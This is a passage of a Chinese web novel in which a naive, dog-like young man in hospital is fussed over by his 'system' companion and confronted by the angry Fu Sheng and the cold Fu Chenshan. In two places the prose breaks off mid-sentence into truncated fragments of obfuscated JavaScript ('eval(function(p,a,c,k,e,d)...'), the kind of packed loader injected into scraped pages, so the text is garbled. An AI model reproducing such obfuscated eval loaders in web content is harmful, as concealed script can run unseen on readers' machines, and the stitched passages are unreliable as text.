“傅晟少爷在急诊处理伤口,据说是与人发生了些冲突。” 安崇深吸了一口气,转述医院送来的消息:“他当时就在急诊大厅,和我们的医疗团队擦肩而过,似乎是捡到了祝缭少爷掉落的……一根头发。” “然后,他的情绪就突然变得非常激动,谁也按不住地冲出去找人了。” 根据调查,祝缭很喜欢染发,这一爱好来源于他的某个艺术造型设计师朋友……十五页资料中的某一页对此略有记载。 如今他头上那灿烂的、如同阳光碎金般的暖金色,就是那位设计师亲自调配染膏,亲自上手漂染修剪,连本人都无法复刻的完美之作。 傅沉檀听完,脸上并没什么特殊的表情,只是极淡地“嗯”了一声,就将祝缭那份资料随手递给安崇,操纵轮椅回到电脑前。 “先生。”安崇接过文件,低声请示,“如果傅晟少爷后悔了,想把人要回去,怎么处理?” “后悔?” 傅沉檀指尖在触控板上轻点了下。 他没有立刻回答,只是调出自动上传的云存档,点开别墅监控的回放片段,再次把进度条拖回到某个节点。 医护人员围在蜷着的少年身边,忙碌着检查生命体征、整理仪器。一位面容温和的年长女医生在俯身时,或许是下意识地伸出手,轻柔地拨开少年汗湿的浅金色碎发,摸了摸他的额头。 一瞬间。 像是一下子接通了什么无形的电源,或者碰倒了某个隐秘的开关。 原本紧闭双眼、一动不动,仿佛生命力都已经流逝殆尽的少年,睫毛尖忽然颤了下。 紧接着……他吃力地、慢慢地,张开了眼睛。 深栗色的眼瞳起初还有些涣散空茫,但几乎是在聚焦、看清身边人影的下一刻,就像是被注入璀璨的星光,倏地亮了起来。 没有惊惶,没有对陌生人的抗拒和戒备,甚至连病情所致的虚弱,也像是掉进湖水的小石子,飞速藏进漾开的涟漪之下。 即使隔着屏幕,也能感受到从那具单薄身体里迸发出的、巨大而纯粹的友好和快乐。 明明虚弱绵软到要靠人抱,他却还摇摇晃晃试图调整姿势,脑袋转来转去,忙得不可开交,眼睛亮晶晶地追着不同的人,苍白过头的脸上,那柔软而明亮的笑容就没消失过。 活像是被独自关在家里足足三天,终于见到人、被人团团围住,忙碌着、急切地挨个贴贴,只顾着用柔软漉湿的深栗色眼睛表达“你摸我啦!”“你也摸我啦!”“大家都来摸我呀!”的幸福到晕头转向的小狗。 傅沉檀拖动进度条,又看了一遍这段无声地回放,视线停留在那张写满了“得救了”、“太好了到处都是人”的纯粹安心与欢欣的脸上。 …… “傅晟。” 半晌,傅沉檀终于开口,声音不高,却像是深渊万丈的冰潭。 “他和他母亲一样,脾气上来,恨劲上头,就要把人千刀万剐、碎尸万段。”他的语调听不出情绪,仿佛只是在陈述一个无聊的事实,“等那股疯劲过去,又开始惦记,想要挽回,觉得一切都能重来。” 傅沉檀垂着视线,屈起手指,指尖轻叩了下轮椅扶手:“他把人当做一件可以随意丢弃、甚至用来算计我的‘玩意’送来的时候。” “就该知道……有些事,没有后悔。” 安崇立刻明白了先生的意思,想要给医院去电话,却见傅沉檀已经合上了笔记本电脑。他的视线落回那份看了一晚上的财报,语气平淡无波,似乎只是临时起意,调整了一个无关紧要的日程。 “叫车。” 傅沉檀说:“我去一趟医院。” 4. 小绿茶 医院。 系统哭成了个泪球。 它被叫不醒的祝缭吓到险些宕机,现在整个统像一颗过度膨胀的悲伤海胆,牢牢黏在祝缭病号服的领口,幻化出的小黑手紧紧抓着蓝白格子的纯棉布料。 「我再也不说你脚踏十八条船了……我再也不说了!我真是该死,我怎么就把你一个小狗、呸、一个人!送到这种吃人不吐骨头的鬼地方来了!」 系统抽抽噎噎,懊恼到语无伦次,小黑手拼命砸自己:「我真是个失败的引导系统……数据残渣!电子垃圾!报废CPU!」 祝缭刚用意念热情地召唤了医院里所有足够闲的人,被温柔地检查、拍头、摸了个够,正靠坐在私立医院顶级VIP病房柔软的大床上,抱着热牛奶,小口小口的啜饮,幸福到像是飘飘忽忽的棉花云。 他被系统摇晃得晕头转向,整个人轻轻“嗯”、“嗯”地响。 虽然不太明白前因后果,但看见系统哭得这么伤心,“一起分担情绪”和“安慰同伴”的本能立刻占了上风。 祝缭微微偏过头,用温热的鼻尖轻轻蹭了蹭系统的绒毛,柔软的深栗色眼睛眨了好几下,开始相当认真地、真诚而努力地尝试共情,也让眼睛往外流水。 “……你别乱动!”系统一边飙虚拟眼泪,一边迅速幻化出更多的小黑手,固定住了祝缭试图凑过来贴贴的脸颊,“坐好!现在先坐好!” 祝缭有点遗憾,小声咕哝了句“好哦”,听话地盘着腿坐直,乖乖捧着牛奶杯。 「我问你。」系统深吸了口气,牢牢盯着他,机械音是从未有过的严肃,「之前,在那个什么谢泽谦那里,他欺负你的时候,你难过了没有?」 系统都要后悔死了。 它太大意了,太失职了——自从来到这个世界以后,祝缭提交的工作笔记,每一天都充满了毫无阴霾的阳光与琐碎的快乐,每天都在啰啰嗦嗦地汇报饭菜好吃、饮料好喝、新开的公园好玩,阳光晒得后背暖洋洋,想在草坪打滚。 因为这些琐碎和开心过头的话痨汇报,系统完全没意识到……祝缭所处的环境,看似平常的生活之下,涌动着的是何等复杂、险恶与扭曲的人心。 它完全忘了,这只被它保护过度、习惯了美好快乐的小狗,在重新做回人之后,该如何识别人类那些包裹在糖衣下的淬毒恶意……该如何保护自己。 ……还有天杀的死变态谢泽谦!居然敢那么不干人事玩感情操控那一套!!! 还有傅晟!包藏祸心的混蛋!还有徐序——他还以为徐序多少是个靠得住的港湾,没想到徐序居然就那么默许了! 默、许、了!!! 系统想杀人了。 祝缭的脸颊被小黑手按出了个小凹窝,话说不清楚,含含糊糊学系统说话:“欺虎?” 他复述这个词,微微蹙着眉,显得很专心,试图在装满杂乱记忆的纸箱子里刨出相关场景。 显然。 这个词不在能用二十种语言精准描述“吃饭”、“出去玩”、“贴贴”、“被摸头”的快乐小狗专属词典里。 「就是冷暴力!情感虐待!煤气灯效应!P-U-A!」系统又急又气,愤怒地挥动小黑胳膊,「就是莫名其妙的突然不理你!不接电话,也不联络,把你当空气,好像你这个人从来就没存在过一样!或者拼命挑你的刺,让你怀疑自己自己是不是做错了什么,是不是不值得被重视、被喜欢!」 ”……哦!!” 祝缭终于从记忆的角落扒拉出一些对应片段,深栗色的眼睛眨了眨,真心实意回溯:“有的!不过他没欺负我呀。” “谢泽谦有时候会突然变得特别忙……好像要闭关搞创作什么的,电话不接,消息也很久不回……没空找我。” 他顿了顿,因为理顺了思路,语气变得更加流畅和理所当然,仿佛是在讲一个「因为下雨所以要打伞了」的自然道理。 祝缭从枕头下面扒拉出自己的手机,开开心心点开相册,给系统看:“所以我就可以去找别的好多人玩了。” 系统:「?」 祝缭很确信地点头:“嗯嗯。” 艺术家是这样的。 祝缭对此很有经验,他做边牧的时候,那个作曲家主人经常连续工作几十个小时然后直接睡死过去——每到这个时候,聪明又独立的小边牧就会开动脑筋,自己想办法管理自己的娱乐和生活。 比如巧妙地踩着椅子和桌子,用鼻子和爪子配合打开零食柜,自己把袋子咬烂,用四个口味的冻干给自己精心搭配一顿丰盛的美味拼盘大餐。 比如暗中用鼻子顶开没锁好的阳台门,跳窗户离开家,去附近的狗狗公园,和小狗朋友还有人玩到爽。 条件允许的话还会找一些羊去牧…… 所以,对于谢泽谦的这种“周期性突然消失”的行为,祝缭也有着相当丰富且成熟的应对经验:“他什么时候忙完了来找我,我再回去就好啦。” 祝缭其实不太懂钢琴,也不太能听得懂那些曲子蕴含的“艺术层次”和“深邃情感”。但出于小狗守则,每次谢泽谦给他弹钢琴,无论曲子都冗长、晦涩,他都坐得端端正正,捧场地认真听,一次都没有因为睡着而不小心滑到椅子底下过。 也正是因此,这种美好的、无人管束的空窗期,当然不能浪费。 他自有一整套丰富多彩的安排,完全不会虚度光阴。 系统:「……」 祝缭的语气认真、自然、顺理成章,完全没有系统担忧不已的创伤或阴影。 ……甚至隐隐透出一股“我超懂事的都没有打扰人家的正事和工作”的小自豪 系统听得整个统都呆住了,幻化出的小黑手愣在半空。 「……什么叫,‘他找你,你再回去’?」系统愣愣地、匪夷所思地追问,「就……没别的了吗?他突然不理你,你……不难过?不生气?不……想他?」 毕竟,在这个世界——系统之前顺着网线爬过去,偷偷翻看了傅沉檀找人调查的那份资料。不论是旁人、还是谢泽谦的认知里,祝缭都是“他谢泽谦的人”。 在谢泽谦看来,祝缭对他简直情根深种,依赖得不行,像是只早被彻底驯养熟了的、无法失去主人的宠物,不论怎么刺激、怎么忽冷忽热、怎么拿来肆无忌惮地折腾,都不会离开,也离不开。 祝缭“唔”了一声,轻轻舔了下唇边的牛奶。 纯粹、柔软、快乐的深栗色杏仁眼睛,望着半空中仿佛石化了的绒毛球系统,迟疑着……又眨了眨。 系统:「……」 好的它知道了不需要回答了。 「……所以。」 系统咳了一声,高高悬着的CPU放下了不少。它松了口气,用小黑手轻轻戳祝缭的脑门,把盘腿坐在柔软大床上的少年戳得轻晃:「这次之前,你从来都没有触发过那个见鬼的破倒计时,是不是?」 祝缭被它用小黑手摸脑袋,眼睛立刻像被点亮的小灯泡一样“唰”地亮起来。 “没有!”他斩钉截铁地回答,仿佛这是什么相当值得自豪的成就,熟练地划开相册,一张一张翻给系统展示,“看!丰富多彩的社交活动!” 系统看着热闹到不行的手机屏幕。 和穿着白衬衫、笑容清爽的学长并肩站在樱花树下,学长含笑揉祝缭毛茸茸的浅金色脑袋,祝缭闭着眼睛,微微缩起脖子,脸上是无拘无束的灿烂笑容。 备注:「和学长去踏青!阳光超好!樱花雨!开心合影!」 和穿着皮质铆钉夹克、戴着墨镜,浑身散发不羁气息的某位“好兄弟”,在游乐场的巨型摩天轮下合影,背景是漫天烟花。对方的一条胳膊随意搭在祝缭肩膀上,把人搂在身边,替祝缭举着相机,祝缭的手里则举着一个巨大彩虹棉花糖。 备注:「和好兄弟去游乐场!看烟花!棉花糖超——齁!开心合影!」 在某个看起来就相当贵的旋转餐厅,手机大概是被对面的朋友拿走了,镜头正对着祝缭。他一侧的脸颊被食物撑得微微鼓起,手里捏着精致的小银叉子,叉子上还正插着一块吃到一半的奶油蛋糕,眼睛亮晶晶看着镜头。 备注:「和好朋友去吃饭!好吃!吃到撑!开心合影!」 第四张、第五张、第六张…… 相册里的照片被快速向下滑动,有咖啡厅、美术馆,也有电玩城和深夜大排档,甚至还有光怪陆离的Livehouse、音乐节人山人海的现场……背景在变,陪在他身边的人也在变,翻到最后,甚至还有一张价格不菲的在KTV豪华包厢里,前面的不少人都有出镜,祝缭挤在中间,大家对着镜头一起比“耶”。 “看!”祝缭骄傲地总结,像小狗展示珍藏的玩具箱,“没有一个人的时候!” “大家都是好人,会带我去好玩的地方,吃好吃的。”他告诉系统,“还有交换礼物,我会编绳结,会编好多种呢。” 祝缭展示他那一串大概是绳结换回来的、沉甸甸的手机链。 一大堆挂件挤在一起,金属徽章、温润剔透的玉质小雕、毛绒绒的小玩偶、手作陶瓷彩珠、皮革护身符……甚至还有一个颇具朋克气息的、真的能发光的小灯泡。 系统:「……」 就这么全都挂在一部手机上了啊!!! 那部可怜的手机,承受了它设计之初绝不该承受的重量和热闹,挂件们丁零当啷地晃着,手机壳的挂孔摇摇欲断。 怪不得傅晟能查到……不,系统用力揉了揉绒毛里的太阳穴。 不如说,傅晟居然过了那么久,才意识到祝缭那过于“丰富多彩”的社交生活,完全是被什么迷了心窍。 ……那徐序呢? 系统其实还不清楚,徐序作为祝缭最信任、依赖、亲近的哥哥,扮演实际意义上的“监护人”与“唯一港湾”的那个存在,对这一切究竟是什么态度。 那种近乎默认的“不干涉”的纵容,其下藏着的,究竟是对祝缭个人生活的尊重,怜惜他过往的补偿,还是……别的? 比如什么更复杂、更微妙、更……不堪深究的东西? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他认真想了谢泽谦带他坐的游艇,给他弹的钢琴,给他写的那些他不太懂的曲子,突然消失很久又回来带他去吃很贵很漂亮的饭……然后,他乖乖地、诚实地答了:“好哦。” 他不知道那种仿佛悄然降落的、隔在两人之间的,看不见也捉不着的薄纱是什么。也看不懂那种过分复杂的情绪,只知道徐序哥在那个时候,好像不太开心。 但他很快就把这件事忘了,因为新朋友约他坐船出海去钓鱼。 …… 现在被系统这么一问,那段飞快被新鲜的快乐冲淡、几乎已经压在记忆最深处角落里的片段……又悄悄浮上来了。 小狗难受。 祝缭轻轻吸了下鼻子,他把玻璃杯放到一边,抱着枕头,用力搂紧,往怀里填进去。 这是极为陌生的感受,和空旷别墅里的无聊、没人陪的失落都不一样。 是一种更酸涩的、从骨头缝里渗出来的东西,细细密密地缠上来,生根抽芽,怎么拽也拽不干净,乱糟糟缠成一团,闷闷堵在胸口。 沿着肋骨丝丝缕缕地往外钻。 他不太明白这种情绪具体叫什么,只是本能的……不喜欢。 是因为他太贪玩、交了太多新朋友吗?是因为他没有只和谢泽谦一个人玩吗?可是这和徐序哥又有什么关系呢? 他不知道。 他宁可徐序哥像其他大人一样,吼他,凶他,或者干脆不理他。也好过那样,用那种他看不懂的、复杂过头的神情看着他,用那么轻的声音、那么疲倦的语气对他讲话。好像他做了什么很难被原谅、但又不知道为什么不能被原谅的,很过分的事。 「不不不不——我瞎问的!我们不想他!不想了!」系统整个绒毛球都慌了,小黑手胡乱挥舞,恨不得把整段剧情抠出来删掉,「我们想点开心的!好吃的!好玩的!你再给我说说你编绳的事……你看这牛奶多好喝,这床多软,这医院……这医院窗户多大!天上的月亮多好看!」 系统语无伦次地试图分散他的注意力,恨不得立刻变出十八个新玩具塞进祝缭怀里。 深栗色的杏仁眼睛里冒水了。 系统一个CPU两个大,恨不得现在就去刺杀徐序,还没来得及行动,忽然听见走廊里传来反常的、越来越近的嘈杂喧哗。 ……似乎是有什么人要强闯病房,医护人员正在劝说和阻拦。 几秒后。 “砰——!!!” 病房门忽然被大力推开,重重撞在墙壁上,发出巨响。 傅晟。 傅晟的额角还贴着一小块纱布,头发凌乱,身上昂贵的手作定制外套也皱巴巴、沾了不少灰尘,袖口甚至还有不明显的血迹。 他的脸色难看到恐怖,沉得几乎能滴水,混合着强烈的戾气,某种近乎疯狂的急切,甚至……连他自己恐怕尚未察觉的后怕、懊悔与恐慌。 “祝、缭。”他似乎是从牙缝里挤出的这个名字,“你——” 后面的话忽然就这么卡在了嘴里。 他整个人暂停在门口。 看着眼泪汪汪、超级打蔫,被吓了一跳,吸着鼻子抿着唇抬起头的小狗。 傅晟的大脑空白了一瞬。 接着,像是被什么非常离谱的东西夺舍了,他的喉咙动了动,腿自己硬邦邦走过去,手自己探进口袋,摸出拴着某个小红绳结挂坠的手机,硬塞进祝缭手里。 “哭个鬼。”他干巴巴地教训这个小绿茶捞子,“又想买什么?” 5. 少来这套 瞬间切换到隐身模式、高举着超强功率电击棒、随时准备暗中给这家伙狠狠来一下的系统:「……」 买什么?? 这台词对劲吗??? 它眼睁睁看着傅晟——这个养尊处优,这辈子大概都没吃过什么瘪的大少爷,刚和人动了手,挂了彩,衣衫不整,浑身散发着仿佛下一秒就要杀人的戾气。 傅晟像个煞星一样死死盯着病床上的祝缭。 那张原本臭得要命,写满了暴躁与阴鸷的脸上,忽然出现了某种极其奇异、难以描述的……凝固与憋闷。 傅晟的眉头拧得死紧。 他破了个口子的嘴唇动了动,极低地、含糊地快速嘟囔了句什么话。 骂人的。 小狗不能听!系统反应极快,幻化出的小黑手“啪”地一下牢牢挡住了祝缭还泪汪汪、湿漉漉,写满“发生什么了?”纯粹困惑的好奇,试图探头偷偷张望的眼睛,两只耳朵也一起用小黑手严严实实捂住。 接着,傅晟仿佛跟谁置气似的,极不耐烦地重重“啧”了一声。 他没好气地把手探进那件价格不菲、此刻却已经皱巴巴的外套口袋里,一阵毫无章法的暴躁狂翻。 口袋里的车钥匙、某个限量版打火机、几颗相当蠢的幼稚奶糖……被他胡乱抓出来,扔在一边。终于,他摸到了一包看起来相当精致的小包装便携湿巾。 系统识图搜了搜,被价格吓了一大跳,是某个以“天然”、“奢华”、“抗过敏”著称的高端小众护肤品牌出的“智商税”利器,主打什么含有天然珍稀植物提取物、定制精油配方、能达到“安抚级别”的温和洁净无刺激…… 傅晟看也不看,“刺啦”一声,撕开包装的密封条。 他抽出好几张散发着淡淡清新柑橘与佛手柑香的湿巾,另一只手想也不想,一把薅着祝缭那件松垮病号服的后脖领,不由分说,把人从柔软的床铺里提溜起来。 祝缭只来得及轻轻“呜”了一声,就被那张微凉的湿巾糊在了脸上。 傅晟就这么拿臂弯夹着他,拿着湿巾,对着脸一通狂擦,动作居然离谱的相当熟练,眼睛,脸颊,嘴巴……最后没好气地停在鼻子尖:“擤。” 小狗茫然地乖乖擤了一大下,喉咙里跟着,发出小小的、闷闷的声音。 傅晟这才把用过的湿巾团成一团,看也不看,随手往后一丢,湿巾划出了道弧线,精准地掉进了房间角落的垃圾桶。 做完了这一切,他才像是终于卸下了一个什么极其麻烦又不能不做的包袱,立刻松开了夹着祝缭的臂弯,把人丢回床上蓬松柔软的被子里。甚至不无刻意地,把刚才碰过祝缭脸颊和衣领的手,往同样昂贵的裤子上狠狠擦了好几下。 祝缭重获自由,视线却没像平时那样,立刻被吸引回那个塞满了好吃的、好玩的、热闹与新奇的手机上。 祝缭的注意力被傅晟额角那块刺眼纱布轻易捕获了。 那点他自己也不明白的,有关徐序哥的委屈,立刻又被这更新鲜、更直观的“重要发现”覆盖。他抬起手,指尖试着碰了下纱布,力道轻轻的,柔软干净的深栗色眼睛轻轻眨了下,浮上担忧关心:“傅晟。” 系统看见傅晟僵在病床边,因为这又软又含糊的一声,后脊梁微不可察地打了个激灵。 “乱摸什么。”傅晟语气更粗鲁了,没好气地飞快拨开祝缭的那只手,动作有些大,像是在异常生硬地掩饰什么,“你不是晕血吗?少碰。” 小狗关心人的神圣天职,不可以被这种程度的捣乱干扰。 祝缭对他的粗声恶气完全免疫,或者说,根本完全没有接收到那层“态度恶劣”的信号,被冷酷轰走的手摸了摸傅晟的手心,表示“好哦”,然后少碰了一秒钟,又不受影响地伸回去,轻轻摸着受伤的地方。 “受伤了吗?”他仰着脸,小声地、认真地追问,“痛不痛呀。” 傅晟的喉结不受控地滚动了下。 太低级了。 这手段太低劣、太装模作样、太不走心了! 祝缭根本就不是真的担心和在意他!他当然不会,也再不可能被这种愚蠢的、完全出于某种莫名其妙离谱惯性的差劲手段哄上当!他只是……只是…… 祝缭的手指软软的,力道也又轻又柔和,碰着那一小块青肿的额头,微凉的指腹游走,抚摸过灼烧的刺痛。 傅晟的目光不听使唤,再次没出息地飘向祝缭那张被他亲手擦得干干净净、稍微有点泛红,正微微仰着的柔软脸颊上。 祝缭坐在蓬松的被窝里,因为刚才被拎起来又丢回去,显得有些凌乱,浅金色的头发乱糟糟的蓬成一团,宽大的病号服也歪斜了一些,露出肩膀,比站在床边、身形高大的傅晟明显矮了一大截。 这个角度……他更像某种全心全意担忧着、关注着眼前人,眼里心里暂时只有这一件事,完全不会被其他什么混蛋或者好吃好玩的轻易拐跑的、毛绒绒又柔软善良的…… 傅晟恨不得当场扇自己一个耳光,把这点蠢到家的荒谬动摇扇得干干净净。 ……这就是个绿茶捞子! 一个把他、把谢泽谦、还有该死的至少十五个人耍得团团转的骗子!!甚至那十五个人里的绝大多数,在知道了部分“真相”后,还在替祝缭说话、试图辩解“可是缭缭真的很可爱”! 一个彻头彻尾的眼里只有钱和好处,根本没有心的,演技高超小骗子!!! 他和祝缭的关系永远不可能再回到过去了。 再不可能了。 从他看见那些该死的、清晰确凿到不容辩驳的照片和记录,看到祝缭送给别人的花样繁多的手工绳结,看见徐序带着那种令人火大的歉意低头,说什么“小缭不懂事,我替他向你替道歉”,然后被他一脚狠狠踹得摔在墙角、狼狈爬不起来的那一刻起……一切就全完了。 他已经知道了真相。 祝缭的手被强行拦开,深栗色的杏仁眼睛困惑地眨了下,轻轻偏头,眼睛里依然盛满了毫不作伪的关心,一眨不眨地望着他,苍白柔软的脸颊又无意识凑得近了些。 这眼神像细小的针,冷不丁扎进傅晟心口那个烦到爆炸的混乱角落。 “少来这套。” 傅晟猛地别开脸,刻意将语气里的冰冷和不耐烦堆砌到极点。他扬了扬下巴,示意祝缭还握在手里的、那部拴着简陋小红绳结的手机:“不就是想要东西吗?费这么大劲演给谁看?” 他讥诮地说着,视线不加停留地仓促掠过那张苍白的、精致柔软的脸颊,还有微微睁大的深栗色眼睛。 祝缭望着他。 没有预料中的心虚闪躲,没有狡猾的算计,甚至没有被戳穿的惊慌失措,只有一种更深的,让他发疯的……困惑。 仿佛完全听不懂他在说什么,又好像他说的是什么需要用上翻译器的外星语言。 无处发泄的烦躁,和某种更深的、他宁死也不可能承认的情绪搅在一起。傅晟胸口的无名火快要烧穿,必须说点什么,做点什么,来打破这该死的让他心烦意乱的注视,证明自己不会再上当。 “这次是什么,包?鞋?表?还是又看上哪个限量的游戏机了?” 傅晟顿了一下,喉结重重滚动,像是要把什么酸涩的苦水狠狠咽回去。他深呼吸了几次,语气带着一种近乎施舍的、却难掩狼狈的生硬:“老子给你买,都买,行了吧?看在你‘尽心尽力’陪我舅舅,都把自己‘陪’进了医院的份上……” “傅晟。” 祝缭忽然轻轻叫他的名字。 不是平时那种软软的、带着雀跃的欢快语调,就是很轻、很平的一声。 傅晟僵住,身体不受控制地重重打了个激灵,像是被当头泼了盆掺着冰碴的冷水。 他预想中的心虚、辩解,或者什么更高级的绿茶委屈的眼泪,“你竟然这样想我”、“我的心好痛”之类的话术都没出现。 祝缭并没有生气,事实上……祝缭似乎并没能完全听懂他的话,更不要说理解那些喷涌而出的,挣扎扭曲又自我厌恶的阴暗情绪。 小狗只是很认真、很自然地,顺着他的话,开始思考“买什么”这个问题。 “我不想买包呀。”祝缭好好地想了想,“鞋子和表,傅晟你之前买的那些,还有很多连标签都没拆呢。游戏机……嗯,最新的那款,傅晟你上个月不是才买了吗?我在努力打哦,好几个游戏都太难了,还没有玩通关呢。” 他甚至掰着手指,严谨地列举了几个游戏的名字,各自汇报了进度。 傅晟:“……” 所有尖锐的、足以刺伤彼此的狠话,全堵在了喉咙里,乱窜又烧不出来的邪火被一盆温吞水浇了个正着,嘶嘶冒着尴尬的白烟。 祝缭又说:“不过。” 傅晟猛地抬起视线,死死盯住他。 不过。 小狗也要处理一些更严肃的问题的。 祝缭撑着床,坐直了些,深栗色的杏仁眼睛温柔纯净,像是不论你怎么发疯都会包容你的聪明又宽容的小狗,唯独在遇到一件事时,冷静地停下了内心一直在轻轻摇晃的尾巴。 “傅晟,你和我一起玩。”祝缭轻声问,“变不开心了吗?” ……傅晟僵住了。 他的嘴动了动,喉咙却像是被被无形的绳索勒紧,让他所有的声音、所有的怒火,一切想要翻的旧账,都死死哽在了喉咙里。 “傅晟,你不想和我一起玩了吗?” 不想……一起玩了吗? 他在这里,用尽全力讥讽、质问一个绿茶捞子的贪婪与虚情假意,证明自己不会再被愚弄。对方却只是用那双干净到令人心慌的眼睛,困惑又认真地问他:那还一起玩吗? 这种荒谬到了极点的错位感让他的大脑一片空白,一股冰冷的、带着不祥的寒气,沿着脊椎爬升。 傅晟垂在身侧的手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝缭抱着枕头,赤着脚站在冰冷的瓷砖地面上,脚趾微微蜷起,有些茫然地左右看了看,不太确定该往哪里走。 医院很大,很空,刚才还热闹的走廊,似乎也随着夜深而陷入了沉睡。 人……好像,又变少了。 他轻轻缩了下肩膀,把脸埋进怀里的枕头,手臂又收紧了些,无意识地轻轻蹭着枕套柔软光滑的布料。 他听到系统在他脑海里尖叫着拉响的警报,但愣了下,没有立刻回应,只是慢慢地、有些迟缓地抬起没什么血色的脸。 走廊对面的阴影里,不知何时,多出了一台轮廓冷硬、线条流畅的纯黑电动轮椅。 轮椅上……有人。 傅沉檀。 他不知道在那里停了多久,又看了多久。 像一头始终蛰伏在浓郁夜色最深处的猛兽,沉默地、耐心地,不加干涉地观察,评估,审度着领地内的一切纷扰与动静。 祝缭的目光,对上傅沉檀的眼睛。 那是他没见过的眼睛。 没有傅晟的暴怒与混乱,没有徐序哥叫他难受的无力,也不像谢泽谦……那像是不做任何反应的深邃井口,只有平静。 平静,和某种难以形容的,仿佛能将人从皮到骨都剖析清楚的渗着寒气的专注。 祝缭抱着枕头,站在原地,没有动。 也没有像平时见到“新的人”那样,立刻眼睛发亮、欢快地摇着无形的尾巴,好奇地贴贴和探索,分享快乐。 他只是微微偏着头,看着轮椅上的男人。 过了几秒。 也或许是十几秒。 祝缭看到,傅沉檀朝他伸出了一只手。 那只手骨节分明,手指修长,掌心向上,平稳地摊开。他抱着枕头,犹豫了一会儿,实在无法抗拒,在系统忧心忡忡大喊着的“紧急防御作战A计划启动!”声里……一步一步地,走了过去。 他不知道,这种心口闷闷的、酸酸的,有一点发麻,沿着左胸口向全身辐射的感觉具体叫什么。 但他记得,每次不舒服的时候,被温柔地摸摸头,被轻轻地拍拍后背、抱在怀里顺毛……「不舒服」就会像被阳光照射的冰雪一样,很快地融化掉,立刻好起来。 小狗有强大的生存本能。 祝缭轻轻地、一点一点地靠近,他走得很慢,带着试探。 傅沉檀没有拒绝,也没有驱赶他,那只手依旧稳定地伸着。 直到他足够靠近,那只西服下的手臂才微微动了下,稍一用力,甚至称得上轻松地,将他稳稳当当托起,拢进宽大轮椅里,安置在身侧那个有限却异常安稳的空间。 傅沉檀低声问:“为什么不穿鞋?” 祝缭仰着脸,他望着眼前这个看起来“很安静”、“好像没有在生气”、“也不会突然吼一大堆他听不懂的复杂话”的人,眼睛忽然烫了一下,他丢下枕头,把脸埋进傅沉檀的掌心。 “你好。”小狗懂礼貌,即使带着鼻音,也规规矩矩地、乖乖地小声打了招呼,然后眼睛才冒水,“可以摸摸我吗?” 6. 就是不喜欢了 「……我可以!我摸你!我来摸摸你!」系统一口气幻化出十八只漫天飞舞的小黑手,「傅沉檀危险!黑化值还在涨!超紧急临时作战计划C……」 祝缭轻轻眨了下眼睛。 他听见了脑海里系统吹得嘀嘀响的警笛,也乖乖在意识里答了「好哦」。 但是…… 小狗刚刚凭自己的本事找到的手。 ……很稳,不软也不硬,掌心宽大干燥,温度适中,就那么静静地托着。 没有多余的动作,他心里那团乱糟糟,酸涩又闷闷的东西,却好像被一只更稳定和有力的手轻轻按住了,不再乱跑。 他忍不住用脸颊轻轻蹭了一下傅沉檀的掌心。 傅沉檀的手不动声色停顿了片刻,手指微微动了一下,调整姿势,让掌心更贴合地托着他的脸,指腹抚过水痕。 「撤撤撤!路线C!通风口!」系统拽着祝缭病号服的袖子,疯狂指走廊尽头,一个隐藏在阴影里的不起眼的小铁栅格。 祝缭偷偷瞄那个黑黢黢的洞口,没坐稳趔趄了一下,还没来得及掉到地上,就被身后的手臂稳稳圈住,短暂的悬空,他被整个儿提抱起来,落在傅沉檀的腿上。 系统吸着数据氧气发出尖锐汽笛声。 傅沉檀似乎只是顺手为之,视线还停留在走廊尽头,一个纯粹出于防止他摔跤掉下轮椅的无意识动作,并没有更多的目的。 他收回视线,低头看怀里的少年,一只手还停在祝缭身后,虚虚拢着,发出了个简单的、作为询问的单音:“嗯?” 系统识别不出任何可探知的情绪。 祝缭仰着脸,深栗色的眼睛映出近在咫尺的人脸。 ……小狗迈不动脚。 祝缭控制不住地、遵循着某种“找到可靠人类就要分享宝贝以示友好”的小狗本能,把手伸进宽大的病号服口袋,摸索了几下,掏出一个刚编到一半、结构颇为精巧复杂的彩色绳结,递过去。 这是他正在学着编的,用了十八种颜色超漂亮的亮晶晶丝线,还没编好。 傅沉檀垂着眼,沉默地看着他,也看着白净掌心里的半成品绳结,看不清神色,走廊的灯光有些昏暗,从稍远的地方射过来,冷硬的轮廓投下深深的阴影。 …… 系统已经断然扛起了看不见的隐形电棍防狼喷雾和超大号麻醉枪。 风平浪静只是假象。 绝对的假象。 系统愁得绒毛都要炸丝了,祝缭并不知道,傅沉檀这边……情况相当、极其糟糕和麻烦。 一言以蔽之,就是傅沉檀这个世界崩坏的源头、最终反派的黑化值,就在刚刚,已经正式突破了97%的大关。 而那位“扣1助力世界毁灭”的罪魁祸首,不是别人,就是傅晟那个胳膊肘向外拐的、一心帮着外人要弄死自己亲哥哥的亲生母亲——傅心洁。 就在几分钟前,安崇刚礼貌地而坚决地,把那位哭得梨花带雨、仿佛受了天大的压迫和苛待的大小姐“请”出了医院。 所以傅沉檀才会一个人呆在这儿。 傅晟前脚刚到医院,傅沉檀这个做舅舅的忽然就“恰好”亲自过来,在傅心洁的眼里……这两件事显然不可能脱开干系。 必定是傅沉檀这个“冷血残忍”、“毫无人性”的恶魔,又想对她那“无辜可怜”、“只是有点任性”的儿子下手了。 系统绝望地看着刚刚调出的记录回放。 那个穿着昂贵定制套裙、妆容精致美好,紧握着手包,看起来优雅柔美,显然被保护得极好的女人,含着泪一步也不让地站在傅沉檀的轮椅前。 用那种“柔弱而坚定的”、“毫不退缩的”、“憎恶心寒”的眼神,狠狠盯着傅沉檀,那是种几乎恨不得他去死的直白憎恨:“死了这条心,傅沉檀……我永远不会让你伤害我的丈夫和孩子……” 她不相信自己的儿子会做出给亲舅舅送玩物这种下作事,也看不见安崇皱紧的眉,她沉浸在自己的世界里,坚信她所感受到的“真相”——是傅沉檀这个冷血的暴君,害死了她的大哥,夺走了家族,抢走了她的公司股份,监视她,变相地囚禁她,现在还要继续迫害她仅剩的亲人。 而傅沉檀……并没什么反应。 从始至终,他也只是在轮椅里平静地、近乎默然地坐着,听着自己的亲妹妹指责和诅咒他是一切不幸的根源,是魔鬼,是吞噬所有亲人的怪物,应当不得好死、永世不得超生。 他什么也没说,没有辩解,没有回答,只是在傅心洁情绪激动到几乎晕过去的时候,扬了扬下颌,示意安崇清场。 